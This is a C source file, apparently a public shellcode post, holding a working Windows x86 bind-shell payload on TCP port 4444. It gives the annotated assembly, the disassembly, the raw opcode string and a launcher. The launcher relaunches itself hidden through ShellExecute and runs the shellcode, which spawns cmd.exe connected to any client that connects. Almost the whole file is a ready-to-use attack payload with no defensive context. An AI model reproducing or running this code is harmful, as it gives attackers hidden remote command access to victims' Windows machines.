/*
    # Title : Windows x86 bind shell tcp shellcode
    # Author : Roziul Hasan Khan Shifat
    # Date : 08-09-2016
    # Tested On : Windows 7 Ultimate , Starter x86
*/
 
//Note: This shellcode will only works on x86 
 
/*
section .text
    global _start
_start:
 
xor ecx,ecx
mov eax,[fs:ecx+0x30] ;PEB
mov eax,[eax+0xc] ;PEB.Ldr
mov esi,[eax+0x14] ;PEB.Ldr->InMemOrderModuleList
lodsd
xchg esi,eax
lodsd
mov edi,[eax+0x10] ;kernel32.dll base address
 
 
mov ebx,[edi+0x3c] ;DOS->elf_anew
add ebx,edi ;PE HEADER
mov ebx,[ebx+0x78] 
add ebx,edi ;kernel32 IMAGE_EXPORT_DIRECTORY
 
 
sub esp,32
lea esi,[esp]
 
 
mov cx,660
 
mov edx,[ebx+0x1c] ;AddressOfFunctions
add edx,edi
 
mov eax,[edx+ecx]
add eax,edi 
 
mov [esi],dword eax ;CreateProcessA() at offset 0
 
mov cx,1128
 
mov eax,[edx+ecx]
add eax,edi
 
mov [esi+4],dword eax ;ExitProcess() at offset 4
 
;------------------------------------
;finding base address of ws2_32.dll
 
mov cx,3312
 
mov eax,[edx+ecx]
add eax,edi
 
xor ecx,ecx
push 0x41416c6c
mov [esp+2],word cx
push 0x642e3233
push 0x5f327377
 
lea ebx,[esp]
 
push ebx
call eax
 
;---------------------------
mov edi,eax
;---------------------
mov ebx,[edi+0x3c] ;DOS->elf_anew
add ebx,edi ;PE HEADER
mov ebx,[ebx+0x78] 
add ebx,edi ; ws2_32.dll IMAGE_EXPORT_DIRECTORY
 
mov edx,[ebx+0x1c] ;AddressOfFunctions
add edx,edi
 
xor ecx,ecx
mov cx,456
 
mov eax,[edx+ecx]
add eax,edi
 
mov [esi+8],dword eax ;WSAStartup() at offset 8
 
mov cx,392
 
mov eax,[edx+ecx]
add eax,edi
 
mov [esi+12],dword eax ;WSASocketA() at offset 12
 
 
mov eax,[edx+4]
add eax,edi
 
mov [esi+16],dword eax ;bind() at offset 16
 
mov eax,[edx+48]
add eax,edi
 
mov [esi+20],dword eax ;listen() at offset 20
 
mov eax,[edx]
add eax,edi
 
mov [esi+24],dword eax ;accept() at offset 24
 
mov eax,[edx+80]
add eax,edi
 
mov [esi+28],dword eax ;setsockopt() at offset 28
;-------------------------------------------------
;WSAStartup(514, &WSADATA)
mov cx,400
sub esp,ecx
 
lea ebx,[esp]
 
mov cx,514
 
push ebx
push ecx
 
call dword [esi+8]
 
 
;-----------------------------------------
;WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,NULL,NULL)
 
xor ecx,ecx
 
push ecx
push ecx
push ecx
 
mov cl,6
push ecx
 
sub ecx,5
push ecx
 
inc ecx
push ecx
 
call dword [esi+12]
;----------------------------
mov edi,eax ;SOCKET
 
;----------------------------------
;setsockopt(sock,0xffff,4,&int l=1,int j=2)
 
cdq
mov dl,2
 
push edx
dec edx
 
push edx
lea ecx,[esp]
 
mov dl,4
 
push ecx
push edx
 
mov dx,0xffff
push edx
push edi
 
call dword [esi+28]
 
 
;--------------------------------------------
;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16);
 
cdq
 
push edx
push edx
push edx
push edx
 
mov [esp],byte 2
mov [esp+2],word 0x5c11 ;port 4444
 
lea ecx,[esp]
mov dl,16
 
push edx
push ecx
push edi
 
call dword [esi+16]
 
;--------------------------------
;listen(SOCKET,1);
cdq
inc edx
push edx
push edi
 
call dword [esi+20]
;-----------------------------
;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,&16);
 
cdq
push edx
push edx
push edx
push edx
mov dl,16
lea ecx,[esp]
 
 
 
push edx
lea ebx,[esp]
 
push ebx
push ecx
push edi
 
call dword [esi+24]
;-----------------------
mov edi,eax ;CLIent socket
;-----------------------
 
cdq
sub esp,16
lea ebx,[esp] ;PROCESS_INFORMATION
 
push edi
push edi
push edi
push edx
 
push edx
 
mov dl,255
inc edx
 
push edx
cdq
 
push edx
push edx
push edx
push edx
push edx
 
push edx
push edx
push edx
push edx
push edx
 
mov dl,68
push edx
 
lea ecx,[esp] ;STARTUPINFOA
 
cdq
push 0x41657865
mov [esp+3],byte dl
push 0x2e646d63 
 
lea eax,[esp]
 
;---------------------------------------------
;CreateProcessA(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&STARTUPINFOA,&PROCESS_INFORMATION)
 
push ebx
push ecx
 
push edx
push edx
push edx
 
inc edx
push edx
cdq
 
push edx
push edx
 
push eax
push edx
 
call dword [esi]
;-----------------------
push eax
call dword [esi+4]
 
*/
 
 
/*
 
Disassembly of section .text:
 
00000000 <_start>:
   0:   31 c9                   xor    %ecx,%ecx
   2:   64 8b 41 30             mov    %fs:0x30(%ecx),%eax
   6:   8b 40 0c                mov    0xc(%eax),%eax
   9:   8b 70 14                mov    0x14(%eax),%esi
   c:   ad                      lods   %ds:(%esi),%eax
   d:   96                      xchg   %eax,%esi
   e:   ad                      lods   %ds:(%esi),%eax
   f:   8b 78 10                mov    0x10(%eax),%edi
  12:   8b 5f 3c                mov    0x3c(%edi),%ebx
  15:   01 fb                   add    %edi,%ebx
  17:   8b 5b 78                mov    0x78(%ebx),%ebx
  1a:   01 fb                   add    %edi,%ebx
  1c:   83 ec 20                sub    $0x20,%esp
  1f:   8d 34 24                lea    (%esp),%esi
  22:   66 b9 94 02             mov    $0x294,%cx
  26:   8b 53 1c                mov    0x1c(%ebx),%edx
  29:   01 fa                   add    %edi,%edx
  2b:   8b 04 0a                mov    (%edx,%ecx,1),%eax
  2e:   01 f8                   add    %edi,%eax
  30:   89 06                   mov    %eax,(%esi)
  32:   66 b9 68 04             mov    $0x468,%cx
  36:   8b 04 0a                mov    (%edx,%ecx,1),%eax
  39:   01 f8                   add    %edi,%eax
  3b:   89 46 04                mov    %eax,0x4(%esi)
  3e:   66 b9 f0 0c             mov    $0xcf0,%cx
  42:   8b 04 0a                mov    (%edx,%ecx,1),%eax
  45:   01 f8                   add    %edi,%eax
  47:   31 c9                   xor    %ecx,%ecx
  49:   68 6c 6c 41 41          push   $0x41416c6c
  4e:   66 89 4c 24 02          mov    %cx,0x2(%esp)
  53:   68 33 32 2e 64          push   $0x642e3233
  58:   68 77 73 32 5f          push   $0x5f327377
  5d:   8d 1c 24                lea    (%esp),%ebx
  60:   53                      push   %ebx
  61:   ff d0                   call   *%eax
  63:   89 c7                   mov    %eax,%edi
  65:   8b 5f 3c                mov    0x3c(%edi),%ebx
  68:   01 fb                   add    %edi,%ebx
  6a:   8b 5b 78                mov    0x78(%ebx),%ebx
  6d:   01 fb                   add    %edi,%ebx
  6f:   8b 53 1c                mov    0x1c(%ebx),%edx
  72:   01 fa                   add    %edi,%edx
  74:   31 c9                   xor    %ecx,%ecx
  76:   66 b9 c8 01             mov    $0x1c8,%cx
  7a:   8b 04 0a                mov    (%edx,%ecx,1),%eax
  7d:   01 f8                   add    %edi,%eax
  7f:   89 46 08                mov    %eax,0x8(%esi)
  82:   66 b9 88 01             mov    $0x188,%cx
  86:   8b 04 0a                mov    (%edx,%ecx,1),%eax
  89:   01 f8                   add    %edi,%eax
  8b:   89 46 0c                mov    %eax,0xc(%esi)
  8e:   8b 42 04                mov    0x4(%edx),%eax
  91:   01 f8                   add    %edi,%eax
  93:   89 46 10                mov    %eax,0x10(%esi)
  96:   8b 42 30                mov    0x30(%edx),%eax
  99:   01 f8                   add    %edi,%eax
  9b:   89 46 14                mov    %eax,0x14(%esi)
  9e:   8b 02                   mov    (%edx),%eax
  a0:   01 f8                   add    %edi,%eax
  a2:   89 46 18                mov    %eax,0x18(%esi)
  a5:   8b 42 50                mov    0x50(%edx),%eax
  a8:   01 f8                   add    %edi,%eax
  aa:   89 46 1c                mov    %eax,0x1c(%esi)
  ad:   66 b9 90 01             mov    $0x190,%cx
  b1:   29 cc                   sub    %ecx,%esp
  b3:   8d 1c 24                lea    (%esp),%ebx
  b6:   66 b9 02 02             mov    $0x202,%cx
  ba:   53                      push   %ebx
  bb:   51                      push   %ecx
  bc:   ff 56 08                call   *0x8(%esi)
  bf:   31 c9                   xor    %ecx,%ecx
  c1:   51                      push   %ecx
  c2:   51                      push   %ecx
  c3:   51                      push   %ecx
  c4:   b1 06                   mov    $0x6,%cl
  c6:   51                      push   %ecx
  c7:   83 e9 05                sub    $0x5,%ecx
  ca:   51                      push   %ecx
  cb:   41                      inc    %ecx
  cc:   51                      push   %ecx
  cd:   ff 56 0c                call   *0xc(%esi)
  d0:   89 c7                   mov    %eax,%edi
  d2:   99                      cltd   
  d3:   b2 02                   mov    $0x2,%dl
  d5:   52                      push   %edx
  d6:   4a                      dec    %edx
  d7:   52                      push   %edx
  d8:   8d 0c 24                lea    (%esp),%ecx
  db:   b2 04                   mov    $0x4,%dl
  dd:   51                      push   %ecx
  de:   52                      push   %edx
  df:   66 ba ff ff             mov    $0xffff,%dx
  e3:   52                      push   %edx
  e4:   57                      push   %edi
  e5:   ff 56 1c                call   *0x1c(%esi)
  e8:   99                      cltd   
  e9:   52                      push   %edx
  ea:   52                      push   %edx
  eb:   52                      push   %edx
  ec:   52                      push   %edx
  ed:   c6 04 24 02             movb   $0x2,(%esp)
  f1:   66 c7 44 24 02 11 5c    movw   $0x5c11,0x2(%esp)
  f8:   8d 0c 24                lea    (%esp),%ecx
  fb:   b2 10                   mov    $0x10,%dl
  fd:   52                      push   %edx
  fe:   51                      push   %ecx
  ff:   57                      push   %edi
 100:   ff 56 10                call   *0x10(%esi)
 103:   99                      cltd   
 104:   42                      inc    %edx
 105:   52                      push   %edx
 106:   57                      push   %edi
 107:   ff 56 14                call   *0x14(%esi)
 10a:   99                      cltd   
 10b:   52                      push   %edx
 10c:   52                      push   %edx
 10d:   52                      push   %edx
 10e:   52                      push   %edx
 10f:   b2 10                   mov    $0x10,%dl
 111:   8d 0c 24                lea    (%esp),%ecx
 114:   52                      push   %edx
 115:   8d 1c 24                lea    (%esp),%ebx
 118:   53                      push   %ebx
 119:   51                      push   %ecx
 11a:   57                      push   %edi
 11b:   ff 56 18                call   *0x18(%esi)
 11e:   89 c7                   mov    %eax,%edi
 120:   99                      cltd   
 121:   83 ec 10                sub    $0x10,%esp
 124:   8d 1c 24                lea    (%esp),%ebx
 127:   57                      push   %edi
 128:   57                      push   %edi
 129:   57                      push   %edi
 12a:   52                      push   %edx
 12b:   52                      push   %edx
 12c:   b2 ff                   mov    $0xff,%dl
 12e:   42                      inc    %edx
 12f:   52                      push   %edx
 130:   99                      cltd   
 131:   52                      push   %edx
 132:   52                      push   %edx
 133:   52                      push   %edx
 134:   52                      push   %edx
 135:   52                      push   %edx
 136:   52                      push   %edx
 137:   52                      push   %edx
 138:   52                      push   %edx
 139:   52                      push   %edx
 13a:   52                      push   %edx
 13b:   b2 44                   mov    $0x44,%dl
 13d:   52                      push   %edx
 13e:   8d 0c 24                lea    (%esp),%ecx
 141:   99                      cltd   
 142:   68 65 78 65 41          push   $0x41657865
 147:   88 54 24 03             mov    %dl,0x3(%esp)
 14b:   68 63 6d 64 2e          push   $0x2e646d63
 150:   8d 04 24                lea    (%esp),%eax
 153:   53                      push   %ebx
 154:   51                      push   %ecx
 155:   52                      push   %edx
 156:   52                      push   %edx
 157:   52                      push   %edx
 158:   42                      inc    %edx
 159:   52                      push   %edx
 15a:   99                      cltd   
 15b:   52                      push   %edx
 15c:   52                      push   %edx
 15d:   50                      push   %eax
 15e:   52                      push   %edx
 15f:   ff 16                   call   *(%esi)
 161:   50                      push   %eax
 162:   ff 56 04                call   *0x4(%esi)
*/
 
 
#include<windows.h>
#include<stdio.h>
#include<shellapi.h>
#include<stdlib.h>
 
char shellcode[]=\
 
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x78\x10\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x83\xec\x20\x8d\x34\x24\x66\xb9\x94\x02\x8b\x53\x1c\x01\xfa\x8b\x04\x0a\x01\xf8\x89\x06\x66\xb9\x68\x04\x8b\x04\x0a\x01\xf8\x89\x46\x04\x66\xb9\xf0\x0c\x8b\x04\x0a\x01\xf8\x31\xc9\x68\x6c\x6c\x41\x41\x66\x89\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x8d\x1c\x24\x53\xff\xd0\x89\xc7\x8b\x5f\x3c\x01\xfb\x8b\x5b\x78\x01\xfb\x8b\x53\x1c\x01\xfa\x31\xc9\x66\xb9\xc8\x01\x8b\x04\x0a\x01\xf8\x89\x46\x08\x66\xb9\x88\x01\x8b\x04\x0a\x01\xf8\x89\x46\x0c\x8b\x42\x04\x01\xf8\x89\x46\x10\x8b\x42\x30\x01\xf8\x89\x46\x14\x8b\x02\x01\xf8\x89\x46\x18\x8b\x42\x50\x01\xf8\x89\x46\x1c\x66\xb9\x90\x01\x29\xcc\x8d\x1c\x24\x66\xb9\x02\x02\x53\x51\xff\x56\x08\x31\xc9\x51\x51\x51\xb1\x06\x51\x83\xe9\x05\x51\x41\x51\xff\x56\x0c\x89\xc7\x99\xb2\x02\x52\x4a\x52\x8d\x0c\x24\xb2\x04\x51\x52\x66\xba\xff\xff\x52\x57\xff\x56\x1c\x99\x52\x52\x52\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x11\x5c\x8d\x0c\x24\xb2\x10\x52\x51\x57\xff\x56\x10\x99\x42\x52\x57\xff\x56\x14\x99\x52\x52\x52\x52\xb2\x10\x8d\x0c\x24\x52\x8d\x1c\x24\x53\x51\x57\xff\x56\x18\x89\xc7\x99\x83\xec\x10\x8d\x1c\x24\x57\x57\x57\x52\x52\xb2\xff\x42\x52\x99\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\xb2\x44\x52\x8d\x0c\x24\x99\x68\x65\x78\x65\x41\x88\x54\x24\x03\x68\x63\x6d\x64\x2e\x8d\x04\x24\x53\x51\x52\x52\x52\x42\x52\x99\x52\x52\x50\x52\xff\x16\x50\xff\x56\x04";
 
int main(int i,char *a[])
{
 
    int mode;
 
 
 
    if(i==1)
    mode=1;
    else
    mode=atoi(a[1]);
 
switch(mode)
{
    case 1:
    ShellExecute(NULL,NULL,a[0],"78",NULL,0);
    break;
 
    case 78:
    (* (int(*)())shellcode )();
    break;
 
    default:
    break;
}
 
 
return 0;
}